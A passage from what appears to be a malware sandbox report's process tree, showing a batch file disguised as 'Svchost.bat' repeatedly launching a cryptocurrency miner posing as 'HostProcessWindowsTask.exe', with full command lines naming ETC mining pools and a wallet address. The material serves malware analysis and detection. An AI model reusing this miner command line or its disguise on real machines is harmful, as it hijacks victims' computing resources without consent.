      PID:6208
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3328
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4772
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4600
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4244
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4900
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5636
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6116
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6600
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4204
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2932
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:2188
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1080
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:5852
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5804
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1252
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6356
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:4244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:1824
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6500
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4552
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6568
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4720
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5556
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6192
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:7212
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8096
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6344
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6248
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6476
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4212
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6668
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4972
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7092
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7064
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:3216
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7192
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4172
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7500
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:4324
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8040
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:2076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1316
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:6100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7364
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      Executes a command shell one-liner
      PID:6664
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7880
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6156
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7892
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8892
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8140
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8760
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:9176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7048
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8380
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6932
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:5020
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7512
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:9048
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:6264
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8972
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:1896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8300
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:8220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:6524
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8276
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8640
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7460
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:8816
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:7188
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:5756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:9072
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:8588
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:8384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:6976
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1780
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:2356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:2884
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:1316
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:7708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    - Executes a command shell one-liner
    PID:7744
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:4040
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
      "C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe" --algo ETCHASH --pool etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --pool eu-etc.2miners.com:1010 --user 0xabfE7eA769251048ad1F10F0670A82052D0814D5 --worker Rig1 --watchdog exit --apiport 8020 --pl 64
      4⤵
      PID:1672
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Host Task\Svchost.bat""
    3⤵
    PID:7704
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ver
      4⤵
      PID:3424
  - - C:\Users\Admin\AppData\Roaming\Host Task\HostProcessWindowsTask.exe
